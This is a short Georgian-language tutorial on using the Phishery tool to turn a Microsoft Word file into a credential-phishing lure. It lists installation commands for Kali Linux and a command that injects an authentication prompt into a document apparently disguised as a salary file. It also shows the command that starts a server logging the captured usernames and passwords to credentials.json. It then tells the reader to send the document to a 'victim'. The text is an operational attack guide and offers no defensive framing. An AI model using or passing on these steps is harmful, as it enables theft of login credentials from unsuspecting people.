როგორ მივიღოთ მომხმარებლის მონაცემები Microsoft Word-ის საშუალებით? (გაკვეთილი)

[LukasBasaria]

Phishery ანაცვლებს pop-up ფანჯარას არსებულ Microsoft Word დოკუმენტში, რომელშიც ითხოვს მომხმარებლის სახელი და პაროლი.

ინსტალაცია Kali Linux- ზე:

$ apt-get install phishery
$ mkdir phishery
$ tar -xvf phishery.tar.gz --strip=1 -C ./phishery
cd phishery

გახსენით პარამეტრების ფაილი (settings.json), პარამეტრებშიუნდა მივუთითოთ:
port — პორტი, რომელზეც სერვერი იმუშავებს.

phishery დაყენების შემდეგ, ფაილი docx ფორმატით ატვირთეთ სერვერზე, რომელშიც ჩვსვამთ ფიშინგ კოდს:

./phishery -u https://example.com/docs -i zarplata.docx -o zarplata_phish.docx

ჩავრთოთ სერვერი ავტორიზაციის მონაცემების მიღებისა და შენახვისთვის:

$ ./phishery -s settings.json -c credentials.json

ახლა ჩვენ ფაილს ვაგზავნით მსხვერპლს და ველოდებით გახსნას. ფაილის გახსნისას, MS Word- ის თავზე გამოჩნდება ფანჯარა, რომელიც სახელს და პაროლს ითხოვს. ნებისმიერი მონაცემების შეყვანისას და OK ღილაკის დაჭერისას, ჩვენ მივიღებთ ამ მონაცემებს და ისინი ნაჩვენები იქნება ჩანაწერებში და შეინახება credentials.json ფაილში.